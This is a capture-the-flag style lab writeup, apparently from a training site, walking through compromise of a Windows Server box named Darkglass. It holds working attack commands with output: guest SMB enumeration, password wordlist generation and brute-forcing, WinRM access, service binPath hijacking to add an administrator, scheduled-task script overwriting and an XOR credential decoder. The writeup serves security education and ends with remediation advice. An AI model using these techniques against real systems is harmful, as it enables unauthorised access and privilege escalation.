Skip to main content

HF INTELLIGENCE | WRITEUP

Darkglass writeup: SMB enumeration to full compromise

Category:Writeup
Published:Sep 21, 2026
Updated:Sep 23, 2026
Operator:@ASX
Read Time:10 min read

Description

Darkglass, a security startup, runs a misconfigured internal demo server. Developers have poor password hygiene, misconfigured services, and an admin application that poorly caches secrets. Through unprivileged enumeration and basic exploitation, operators can escalate privileges via service misconfiguration vulnerabilities and brute-forced credentials.

Scope

Target Operating System Operational Tier
Darkglass Cyber Solutions Windows Server 2022 (x64) Recruit

Getting user.txt

Initial foothold is relatively straightforward. The target’s SMB infrastructure permits guest authentication, thereby enabling:

  • Enumeration of principals through RID brute-forcing, a technique used to enumerate principal accounts by systematically guessing Relative Identifiers (opens in a new tab) (RIDs)
  • Listing and enumeration of shares

First, run an Nmap TCP Connect (opens in a new tab) scan (via the -sT switch), which will reveal that SMB (445/tcp) and WinRM (5985/tcp) ports are open:

$ nmap -sT <ip> --open
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 17:28 CEST
Nmap scan report for DARKGLASS (<ip>)
Host is up (0.068s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds

Then, using nxc’s smb module with guest access, use the --rid-brute switch (opens in a new tab) to enumerate principals by their RIDs:

$ nxc smb <ip> -u guest -p '' --rid-brute
SMB   <ip>   445   DARKGLASS   [*] Windows Server 2022 Build 20348 x64 (name:DARKGLASS) (domain:DARKGLASS) (signing:False) (SMBv1:False)
SMB   <ip>   445   DARKGLASS   [+] DARKGLASS\guest:
SMB   <ip>   445   DARKGLASS   500: DARKGLASS\Administrator (SidTypeUser)
SMB   <ip>   445   DARKGLASS   501: DARKGLASS\Guest (SidTypeUser)
SMB   <ip>   445   DARKGLASS   503: DARKGLASS\DefaultAccount (SidTypeUser)
SMB   <ip>   445   DARKGLASS   504: DARKGLASS\WDAGUtilityAccount (SidTypeUser)
SMB   <ip>   445   DARKGLASS   513: DARKGLASS\None (SidTypeGroup)
SMB   <ip>   445   DARKGLASS   1000: DARKGLASS\tom (SidTypeUser)
SMB   <ip>   445   DARKGLASS   1003: DARKGLASS\dev (SidTypeUser)
SMB   <ip>   445   DARKGLASS   1004: DARKGLASS\dgadmin (SidTypeUser)

Using the same module, it is also possible to identify accessible shares using the --shares switch (opens in a new tab). The Public share contains a note named README.txt:

$ nxc smb <ip> -u guest -p '' --shares
SMB   <ip>   445   DARKGLASS   [+] DARKGLASS\guest:
SMB   <ip>   445   DARKGLASS   [*] Enumerated shares
SMB   <ip>   445   DARKGLASS   Share      Permissions   Remark
SMB   <ip>   445   DARKGLASS   -----      -----------   ------
SMB   <ip>   445   DARKGLASS   ADMIN$                   Remote Admin
SMB   <ip>   445   DARKGLASS   backups    READ
SMB   <ip>   445   DARKGLASS   C$                       Default share
SMB   <ip>   445   DARKGLASS   IPC$       READ          Remote IPC
SMB   <ip>   445   DARKGLASS   public     READ
$ cat public/README.txt
Tom (intern) uses <REDACTED>, lol

The note reveals that Tom uses his username as his password. Using this information, a custom wordlist can be created using tom<YEAR>! patterns:

$ for i in {1900..2025}; do for sym in '!' '@' '#' '$' '%' '^' '&' '*' '(' ')'; do echo "tom${i}${sym}"; done; done > full_secrets.txt

With the wordlist generated, the smb module from nxc can be used, providing the password list, which the module will brute-force until the correct password is discovered:

$ nxc smb <ip> -u tom -p full_secrets.txt
SMB   <ip>   445   DARKGLASS   [-] DARKGLASS\tom:tom1900! STATUS_LOGON_FAILURE
...
SMB   <ip>   445   DARKGLASS   [+] DARKGLASS\tom:<REDACTED>
$ nxc winrm <ip> -u tom -p '<REDACTED>'
WINRM   <ip>   5985   DARKGLASS   [*] Windows Server 2022 Build 20348 (name:DARKGLASS) (domain:DARKGLASS)
WINRM   <ip>   5985   DARKGLASS   [+] DARKGLASS\tom:<REDACTED> (Pwn3d!)

Using the service information gathered from the Nmap scan earlier, authentication to WinRM can now be made using the discovered credentials, and user.txt retrieved:

$ evil-winrm -i <ip> -u tom -p '<REDACTED>'
Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\tom\Documents>
> cat C:\Users\tom\Desktop\user.txt
<REDACTED>

Privilege Escalation to root.txt

The privilege escalation vector is achieved through an old but gold service permission abuse, by manipulating the path from which the service loads its binary. Because the binary executes with the privileges of the service itself, this offers a straightforward path to privilege escalation.

There are several ways to exploit this:

  • Create a custom service binary that executes shellcode to establish C2 communications (be sure that the binary is service compatible (opens in a new tab), otherwise your implants will crash)
  • Insert any standard Windows command, such as using net to add a user to the local Administrators group

This walkthrough uses the latter option.

Enumerating the C:\Program Files directory reveals an application named DGUpdater:

> dir "C:\Program Files"

    Directory: C:\Program Files

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/8/2021  10:34 AM                 Common Files
d-----       8/10/2025   2:00 PM                 DGUpdater
d-----        3/3/2022   4:58 AM                 Internet Explorer
d-----        5/8/2021  10:20 AM                 ModifiableWindowsApps
d-----       8/10/2025   3:06 PM                 MSBuild
d-----       8/10/2025   3:06 PM                 Reference Assemblies
d-----        5/8/2021  11:35 AM                 Windows Defender
d-----        3/3/2022   4:58 AM                 Windows Defender Advanced Threat Protection
d-----        3/3/2022   4:58 AM                 Windows Mail
d-----        3/3/2022   4:58 AM                 Windows Media Player
d-----        5/8/2021  11:35 AM                 Windows NT
d-----        3/3/2022   4:58 AM                 Windows Photo Viewer
d-----        5/8/2021  10:34 AM                 WindowsPowerShell
> sc.exe query DGUpdater

SERVICE_NAME: DGUpdater
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 1077  (0x435)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
> sc.exe sdshow DGUpdater
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)

By checking the service’s permissions via its SDDL (opens in a new tab), it can be confirmed that the service grants comprehensive control rights to members of the Authenticated Users group, including the ability to modify its properties.

Having confirmed these permissions, the service’s binPath property can now be replaced with a custom net command to create a new user:

> sc.exe config DGUpdater binPath="net user hacker P@ssw0rd! /add"
[SC] ChangeServiceConfig SUCCESS

To invoke its creation, the service needs to be restarted:

> sc.exe start DGUpdater
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
> net user

User accounts for \\
-------------------------------------------------------------
Administrator            DefaultAccount           dev
dgadmin                  Guest                    hacker
tom                      WDAGUtilityAccount
The command completed with one or more errors.

Similarly, the newly created user can now be added to the local Administrators group:

> sc.exe config DGUpdater binPath="net localgroup Administrators hacker /add"
[SC] ChangeServiceConfig SUCCESS
> sc.exe start DGUpdater
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
> net user hacker
User name                    hacker
Local Group Memberships      *Administrators              *Users
Global Group memberships     *None
The command completed successfully.

With the new user account, C:\Windows\System32\root.txt can be retrieved by first modifying its permissions with icacls via nxc’s smb module, using the -x switch (opens in a new tab) for remote command execution, and then reading it with the standard cat command:

$ nxc smb <ip> -u hacker -p P@ssw0rd! -x "icacls C:\Windows\System32\root.txt /grant Administrators:F"
SMB   <ip>   445   DARKGLASS   [+] DARKGLASS\hacker:P@ssw0rd! (Pwn3d!)
SMB   <ip>   445   DARKGLASS   [+] Executed command via wmiexec
SMB   <ip>   445   DARKGLASS   processed file: C:\Windows\System32\root.txt
SMB   <ip>   445   DARKGLASS   Successfully processed 1 files; Failed processing 0 files
$ nxc smb <ip> -u hacker -p P@ssw0rd! -X "cat C:\Windows\System32\root.txt"
SMB   <ip>   445   DARKGLASS   [+] DARKGLASS\hacker:P@ssw0rd! (Pwn3d!)
SMB   <ip>   445   DARKGLASS   [+] Executed command via wmiexec
<REDACTED>

Unintended Paths

Unintended Path #1 - Scheduled Task update.ps1 abuse

The first unintended path can be identified by enumerating scheduled tasks, where one can be found running C:\DG\Scripts\update.ps1 under high integrity, and is modifiable by the current user. By overwriting this script (or, better yet, appending a command within it to avoid breaking functionality), any action can be executed within that scheduled task’s context:

Before making any changes, it is worth examining the script and the output it produces:

> cat C:\DG\Scripts\update.ps1
# DarkGlass Update Script v1.2
# Reads configuration and performs system cleanup
param([string]$LogLevel = "INFO")

try {
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $logFile = "C:\DG\logs\update.log"

    Add-Content $logFile "$timestamp - [INFO] Update script started"

    if (Test-Path 'C:\DG\secrets\secrets.xml') {
        $xml = [xml](Get-Content 'C:\DG\secrets\secrets.xml')
        Add-Content $logFile "$timestamp - [INFO] Configuration loaded successfully"
        Start-Sleep -Seconds 1
        Add-Content $logFile "$timestamp - [INFO] System maintenance completed"
    }

    Get-ChildItem -Path $env:TEMP -Recurse -Force -ErrorAction SilentlyContinue |
        Where-Object { $_.CreationTime -lt (Get-Date).AddDays(-7) } |
        Remove-Item -Force -Recurse -ErrorAction SilentlyContinue

    Add-Content $logFile "$timestamp - [INFO] Cleanup completed successfully"

} catch {
    Add-Content $logFile "$timestamp - [ERROR] Script failed: $($_.Exception.Message)"
}
> cat C:\DG\Logs\update.log
2025-08-10 23:07:19 - [INFO] DarkGlass system initialized
2025-08-10 23:07:19 - [INFO] Scheduled maintenance task created
2025-08-10 23:07:19 - [INFO] Configuration files generated
2025-08-11 21:03:16 - [INFO] Update script started
2025-08-11 21:03:16 - [INFO] Configuration loaded successfully
2025-08-11 21:03:16 - [INFO] System maintenance completed
2025-08-11 21:03:16 - [INFO] Cleanup completed successfully

With that understood, the script can now be updated to create a new user, as done previously:

> "net user taskadmin Passw0rd! /add" | Out-File C:\DG\scripts\update.ps1

To trigger the user’s creation, the scheduled task needs to execute, which it does automatically every 10 minutes. Using the same approach, the new user can then be added to the local Administrators group:

> "net localgroup Administrators taskadmin /add" | Out-File C:\DG\scripts\update.ps1
> net user hacker
User name                    hacker
Local Group Memberships      *Administrators              *Users
Global Group memberships     *None
The command completed successfully.

Lastly, the new user can be used to log in and retrieve C:\Windows\System32\root.txt.

Unintended Path #2 - XOR Secrets in secrets.xml

The second unintended path involves some cryptography. The C:\DG\Scripts\secrets.xml file contains an XOR obfuscated username and password for a privileged account. Since XOR obfuscation is trivially reversible given the key, the credentials can be recovered with minimal effort.

First, let’s take a look at the file:

> Get-Content C:\DG\Scripts\secrets.xml
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <secrets>
    <!-- Encrypted admin credentials for system operations -->
    <!-- Encoding: XOR cipher with rotating key -->
    <adminUser><REDACTED></adminUser>
    <adminPassword><REDACTED></adminPassword>
    <encryptionMethod>XOR-Base64</encryptionMethod>
    <keyHint>company_name_lowercase</keyHint>
  </secrets>
  <settings>
    <updateInterval>10</updateInterval>
    <logLevel>INFO</logLevel>
    <cleanupDays>7</cleanupDays>
  </settings>
</configuration>

Taking the adminUser and adminPassword properties as the target values, the keyHint can be used to make an informed judgement on the key used (darkglass), allowing a simple script to be written that reverses the XOR encoding process and extracts the credentials:

$adminUserEnc = "<REDACTED>"
$adminPassEnc = "<REDACTED>"

$key = "darkglass"

function XOR-Decode($base64, $key) {
  $data = [System.Convert]::FromBase64String($base64)
  $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key)
  $decoded = New-Object byte[] ($data.Length)

  for ($i = 0; $i -lt $data.Length; $i++) {
    $decoded[$i] = $data[$i] -bxor $keyBytes[$i % $keyBytes.Length]
  }

  return [System.Text.Encoding]::UTF8.GetString($decoded)
}

$adminUser = XOR-Decode $adminUserEnc $key
$adminPass = XOR-Decode $adminPassEnc $key

Write-Host "Admin Username: $adminUser"
Write-Host "Admin Password: $adminPass"

Once executed, the credentials are revealed:

Admin Username: <REDACTED>
Admin Password: <REDACTED>

Finally, the recovered credentials can be used to authenticate as the admin user via SMB or WinRM and retrieve C:\Windows\System32\root.txt.

One More Thing

While testing this box, something was noticed that isn’t part of either path documented here. What it is won’t be revealed. If you’re curious, go take a closer look yourself.

Additional Notes

  • Developers love adding years to passwords
  • Some services still run with SYSTEM privileges but allow modification by standard users

What’s Next

Darkglass covers the fundamentals:

  • Enumeration
  • Credential brute-forcing
  • Classic Windows service misconfiguration

For those ready to push further, Obscura (Agent tier) puts a real Windows Defender instance between you and root.txt.

References

Frequently Asked Questions

What is RID brute-forcing, and how does it enable user enumeration in Darkglass?

RID (Relative Identifier) brute-forcing queries a Windows target via guest or null SMB sessions, testing sequential integer identifiers (such as 500 for Administrator or 1000+ for standard users) to discover valid usernames without prior domain credentials. In Darkglass, guest SMB access allows NetExec (nxc) to enumerate accounts like tom, dev, and dgadmin.

How does the DGUpdater Windows service vulnerability allow privilege escalation to SYSTEM?

The DGUpdater service has an overly permissive Discretionary Access Control List (DACL) granting Authenticated Users full control (CCDCLCSWRPWPDTLOCRSDRCWDWO in SDDL syntax). Because standard users can change the service configuration, operators can modify its binPath property using sc.exe to execute arbitrary commands with NT AUTHORITY\SYSTEM privileges upon service restart.

Why does sc.exe start DGUpdater return error 1053, and did the command still execute?

Error 1053 ("The service did not respond to the start or control request in a timely fashion") occurs because commands such as net user or net localgroup are standard binaries rather than Windows service executables implementing Service Control Manager (SCM) hooks. Despite the error timeout, Windows executes the command before killing the process, successfully creating or elevating the user.

What unintended privilege escalation vectors exist in the Darkglass lab?

Beyond the primary DGUpdater service vector, Darkglass contains two unintended escalation paths. The first is modifying a scheduled task that executes C:\DG\Scripts\update.ps1 every 10 minutes with high integrity. The second is decrypting the XOR-Base64 obfuscated administrator credentials stored in C:\DG\Scripts\secrets.xml using the company name (darkglass) as the key.

How can organizations defend against and remediate the vulnerabilities in Darkglass?

Remediation requires disabling anonymous and guest access on SMB shares, auditing and hardening Windows service DACLs so only SYSTEM and Administrators hold SERVICE_CHANGE_CONFIG rights, applying strict ACLs to scripts executed by privileged scheduled tasks, and never storing reversible or hardcoded credentials in configuration files.

NOTICE: Authorised Lab Practice Only

Educational Use Only. This report is published for ethical cybersecurity education, defensive research, and authorised lab practice. Do not use the techniques, tools, or concepts described here against systems you do not own or have explicit permission to test. HackerForce does not endorse unauthorised access, abuse, or harmful activity.

PERSONNEL DOSSIER | LOGGED BY

Author dossier portrait for @ASX
NAME: @ASX
DESIGNATION: Vision & Lab lead
EXPERTISE: Red Teaming, Infrastructure Engineering, Narrative Design

Co-founder. Brings deep technical expertise, field-tested red teaming, and cybersecurity engineering experience.

Related Briefings

Offensive SecurityOct 4, 2026

Writing extensions in Sliver C2

Learn what Sliver extensions consist of and how to write your own in C.

  • sliver c2
  • extensions
  • armory
By @Sunflower10 min read
Offensive SecurityOct 17, 2026

Harvesting cached Notepad data

Understand how Notepad caches unsaved contents, and harvest it for everything it's worth.

  • red team
  • pentesting
  • windows
By @Sunflower12 min read
TradecraftSep 19, 2026

Landing your first job in offensive security

No bootcamp, no fake certifications promises. Just the hard truth about landing your first job in offensive security.

  • offensive security
  • cybersecurity career
  • pentest
By @ASX6 min read

PROVE THE TRADECRAFT

Reading about it only gets you so far.

Articles build understanding, not muscle memory. Practise these concepts yourself under realistic conditions in an isolated, scenario-driven lab.